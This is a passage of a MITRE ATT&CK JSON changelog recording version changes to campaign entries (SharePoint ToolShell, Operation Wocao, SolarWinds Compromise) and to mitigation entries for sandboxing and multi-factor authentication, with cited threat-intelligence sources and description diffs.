"x_mitre_first_seen_citation": "(Citation: FBI Salesforce Data Theft SEP 2025)", + "x_mitre_last_seen_citation": "(Citation: FBI Salesforce Data Theft SEP 2025)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--1a0576df-df21-4775-843e-844d8a58a94b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-15 19:31:55.608000+00:00", + "modified": "2025-10-24 04:12:20.214000+00:00", + "name": "SharePoint ToolShell Exploitation", + "description": "The [SharePoint ToolShell Exploitation](https://attack.mitre.org/campaigns/C0058) campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompetely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors [Threat Group-3390](https://attack.mitre.org/groups/G0027) and [ZIRCONIUM](https://attack.mitre.org/groups/G0128). [SharePoint ToolShell Exploitation](https://attack.mitre.org/campaigns/C0058) targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.(Citation: Microsoft SharePoint Exploit JUL 2025)(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)(Citation: Eye Research ToolShell JUL 2025)(Citation: ESET ToolShell JUL 2025)(Citation: Trend Micro SharePoint Attacks JUL 2025)\n", + "aliases": [ + "SharePoint ToolShell Exploitation" + ], + "first_seen": "2025-07-01 04:00:00+00:00", + "last_seen": "2025-07-01 04:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0058", + "external_id": "C0058" + }, + { + "source_name": "Trend Micro SharePoint Attacks JUL 2025", + "description": " Trend Micro Research. (2022, July 22). Proactive Security Insights for SharePoint Attacks (CVE-2025-53770 and CVE-2025-53771). Retrieved October 15, 2025.", + "url": "https://www.trendmicro.com/en_us/research/25/g/cve-2025-53770-and-cve-2025-53771-sharepoint-attacks.html" + }, + { + "source_name": "ESET ToolShell JUL 2025", + "description": "ESET Research. (2025, July 24). ToolShell: An all-you-can-eat buffet for threat actors. Retrieved October 15, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/toolshell-an-all-you-can-eat-buffet-for-threat-actors/" + }, + { + "source_name": "Eye Research ToolShell JUL 2025", + "description": "Eye Security. (2025, July 19). SharePoint Under Siege: ToolShell Exploit (CVE-2025-49706 & CVE-2025-49704). Retrieved October 15, 2025.", + "url": "https://research.eye.security/sharepoint-under-siege/" + }, + { + "source_name": "Microsoft SharePoint Exploit JUL 2025", + "description": "Microsoft Threat Intelligence. (2025, July 22). Disrupting active exploitation of on-premises SharePoint vulnerabilities. Retrieved October 15, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/#storm-2603" + }, + { + "source_name": "Palo Alto SharePoint Vulnerabilities JUL 2025", + "description": "Unit 42. (2025, July 31). Active Exploitation of Microsoft SharePoint Vulnerabilities: Threat Brief (Updated). Retrieved October 15, 2025.", + "url": "https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Microsoft SharePoint Exploit JUL 2025)", + "x_mitre_last_seen_citation": "(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "campaign", + "id": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-27 14:15:23.984000+00:00", + "modified": "2025-10-21 03:04:25.546000+00:00", + "name": "Operation Wocao", + "description": "[Operation Wocao](https://attack.mitre.org/campaigns/C0014) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.(Citation: FoxIT Wocao December 2019)\n\nSecurity researchers assessed the [Operation Wocao](https://attack.mitre.org/campaigns/C0014) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://attack.mitre.org/campaigns/C0014) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.(Citation: FoxIT Wocao December 2019)", + "aliases": [ + "Operation Wocao" + ], + "first_seen": "2017-12-01 05:00:00+00:00", + "last_seen": "2019-12-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0014", + "external_id": "C0014" + }, + { + "source_name": "FoxIT Wocao December 2019", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Erik Schamper, @Schamperr, Fox-IT", + "Maarten van Dantzig, @MaartenVDantzig, Fox-IT" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: FoxIT Wocao December 2019)", + "x_mitre_last_seen_citation": "(Citation: FoxIT Wocao December 2019)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:04:25.546000+00:00\", \"old_value\": \"2025-04-16 20:37:45.828000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "campaign", + "id": "campaign--808d6b30-df4e-4341-8248-724da4bac650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-24 14:59:26.744000+00:00", + "modified": "2025-09-19 15:16:28.463000+00:00", + "name": "SolarWinds Compromise", + "description": "The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) ", + "aliases": [ + "SolarWinds Compromise" + ], + "first_seen": "2019-08-01 05:00:00+00:00", + "last_seen": "2021-01-01 06:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0024", + "external_id": "C0024" + }, + { + "source_name": "Volexity SolarWinds", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + }, + { + "source_name": "USG Joint Statement SolarWinds January 2021", + "description": "FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.", + "url": "https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" + }, + { + "source_name": "Mandiant UNC2452 APT29 April 2022", + "description": "Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29" + }, + { + "source_name": "MSTIC NOBELIUM May 2021", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" + }, + { + "source_name": "Microsoft Internal Solorigate Investigation Blog", + "description": "MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation \u2013 Final Update. Retrieved May 14, 2021.", + "url": "https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/" + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/" + }, + { + "source_name": "NSA Joint Advisory SVR SolarWinds April 2021", + "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", + "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF" + }, + { + "source_name": "SolarWinds Advisory Dec 2020", + "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.", + "url": "https://www.solarwinds.com/sa-overview/securityadvisory" + }, + { + "source_name": "SolarWinds Sunburst Sunspot Update January 2021", + "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.", + "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/" + }, + { + "source_name": "UK NSCS Russia SolarWinds April 2021", + "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", + "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise" + }, + { + "source_name": "Unit 42 SolarStorm December 2020", + "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Unit 42 SolarStorm December 2020)", + "x_mitre_last_seen_citation": "(Citation: MSTIC NOBELIUM May 2021)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-19 15:16:28.463000+00:00\", \"old_value\": \"2024-09-03 18:50:55.787000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.\", \"old_value\": \"Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}", + "previous_version": "1.1" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "course-of-action", + "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 17:06:56.230000+00:00", + "modified": "2025-05-09 16:23:40.086000+00:00", + "name": "Application Isolation and Sandboxing", + "description": "Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n\nBrowser Sandboxing:\n\n- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.\n- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\n\nApplication Virtualization:\n\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\n\nEmail Attachment Sandboxing:\n\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\n\nEndpoint Sandboxing:\n\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1048", + "external_id": "M1048" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-05-09 16:23:40.086000+00:00\", \"old_value\": \"2024-12-10 16:09:19.285000+00:00\"}, \"root['description']\": {\"new_value\": \"Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\\n\\nBrowser Sandboxing:\\n\\n- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.\\n- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\\n\\nApplication Virtualization:\\n\\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\\n\\nEmail Attachment Sandboxing:\\n\\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\\n\\nEndpoint Sandboxing:\\n\\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.\", \"old_value\": \"Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\\n\\nBrowser Sandboxing:\\n\\n- Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files.\\n- Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions.\\n\\nApplication Virtualization:\\n\\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\\n\\nEmail Attachment Sandboxing:\\n\\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\\n\\nEndpoint Sandboxing:\\n\\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.\", \"diff\": \"--- \\n+++ \\n@@ -2,8 +2,8 @@\\n \\n Browser Sandboxing:\\n \\n-- Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files.\\n-- Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions.\\n+- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.\\n+- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\\n \\n Application Virtualization:\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Application Isolation and Sandboxing refers to the techniquet1Application Isolation and Sandboxing refers to the technique
> of restricting the execution of code to a controlled and is> of restricting the execution of code to a controlled and is
>olated environment (e.g., a virtual environment, container, >olated environment (e.g., a virtual environment, container, 
>or sandbox). This method prevents potentially malicious code>or sandbox). This method prevents potentially malicious code
> from affecting the rest of the system or network by limitin> from affecting the rest of the system or network by limitin
>g access to sensitive resources and critical operations. The>g access to sensitive resources and critical operations. The
> goal is to contain threats and minimize their impact. This > goal is to contain threats and minimize their impact. This 
>mitigation can be implemented through the following measures>mitigation can be implemented through the following measures
>:  Browser Sandboxing:  - Use Case: Implement browser sandbo>:  Browser Sandboxing:  - Use Case: Implement browser sandbo
>xing to isolate untrusted web content, preventing malicious >xing to isolate untrusted web content and prevent malicious 
>web pages or scripts from accessing sensitive system files. >web pages or scripts from accessing sensitive system resourc
>- Implementation: Use tools like Google Chrome's built-in sa>es or initiating unauthorized downloads. - Implementation: U
>ndbox or deploy solutions like Bromium to secure user web in>se browsers with built-in sandboxing features (e.g., Google 
>teractions.  Application Virtualization:  - Use Case: Deploy>Chrome, Microsoft Edge) or deploy enhanced browser security 
> critical or high-risk applications in a virtualized environ>frameworks that limit the execution scope of active content.
>ment to ensure any compromise does not affect the host syste> Consider controls that monitor or restrict script-based fil
>m. - Implementation: Use application virtualization platform>e generation and downloads commonly abused in evasion techni
>s to run applications in isolated environments.  Email Attac>ques like HTML smuggling.  Application Virtualization:  - Us
>hment Sandboxing:  - Use Case: Route email attachments to a >e Case: Deploy critical or high-risk applications in a virtu
>sandbox environment to detect and block malware before deliv>alized environment to ensure any compromise does not affect 
>ering emails to end-users. - Implementation: Integrate secur>the host system. - Implementation: Use application virtualiz
>ity solutions with sandbox capabilities to analyze email att>ation platforms to run applications in isolated environments
>achments.  Endpoint Sandboxing:  - Use Case: Run all downloa>.  Email Attachment Sandboxing:  - Use Case: Route email att
>ded files and applications in a restricted environment to mo>achments to a sandbox environment to detect and block malwar
>nitor their behavior for malicious activity. - Implementatio>e before delivering emails to end-users. - Implementation: I
>n: Use endpoint protection tools for sandboxing at the endpo>ntegrate security solutions with sandbox capabilities to ana
>int level.>lyze email attachments.  Endpoint Sandboxing:  - Use Case: R
 >un all downloaded files and applications in a restricted env
 >ironment to monitor their behavior for malicious activity. -
 > Implementation: Use endpoint protection tools for sandboxin
 >g at the endpoint level.
" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "course-of-action", + "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10 20:53:36.319000+00:00", + "modified": "2025-05-09 15:48:18.053000+00:00", + "name": "Multi-factor Authentication", + "description": "Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1032", + "external_id": "M1032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-05-09 15:48:18.053000+00:00\", \"old_value\": \"2025-04-02 17:29:15.914000+00:00\"}, \"root['description']\": {\"new_value\": \"Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\\n\\n- *Something you know*: Passwords, PINs.\\n- *Something you have*: Physical tokens, smartphone authenticator apps.\\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\\n\\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\\n\\nIdentity and Access Management (IAM):\\n\\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\\n\\nAuthentication Tools and Methods:\\n\\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\\n- Enforce biometric authentication for compatible devices and applications.\\n\\nSecure Legacy Systems:\\n\\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\\n\\nMonitoring and Alerting:\\n\\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\\n\\nTraining and Policy Enforcement:\\n\\n- Educate employees on the importance of MFA and secure authenticator usage.\\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\", \"old_value\": \"Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\\n\\n- *Something you know*: Passwords, PINs.\\n- *Something you have*: Physical tokens, smartphone authenticator apps.\\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\\n\\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\\n\\nIdentity and Access Management (IAM):\\n\\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\\n\\nAuthentication Tools and Methods:\\n\\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\\n- Enforce biometric authentication for compatible devices and applications.\\n\\nSecure Legacy Systems:\\n\\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\\n\\nMonitoring and Alerting:\\n\\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\\n\\nTraining and Policy Enforcement:\\n\\n- Educate employees on the importance of MFA and secure authenticator usage.\\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.\", \"diff\": \"--- \\n+++ \\n@@ -10,6 +10,7 @@\\n \\n - Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\\n - Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\\n+- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\\n \\n Authentication Tools and Methods:\\n \"}}}", + "previous_version": "1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Multi-Factor Authentication (MFA) enhances security by requit1Multi-Factor Authentication (MFA) enhances security by requi
>ring users to provide at least two forms of verification to >ring users to provide at least two forms of verification to 
>prove their identity before granting access. These factors t>prove their identity before granting access. These factors t
>ypically include:  - *Something you know*: Passwords, PINs. >ypically include:  - *Something you know*: Passwords, PINs. 
>- *Something you have*: Physical tokens, smartphone authenti>- *Something you have*: Physical tokens, smartphone authenti
>cator apps. - *Something you are*: Biometric data such as fi>cator apps. - *Something you are*: Biometric data such as fi
>ngerprints, facial recognition, or retinal scans.  Implement>ngerprints, facial recognition, or retinal scans.  Implement
>ing MFA across all critical systems and services ensures rob>ing MFA across all critical systems and services ensures rob
>ust protection against account takeover and unauthorized acc>ust protection against account takeover and unauthorized acc
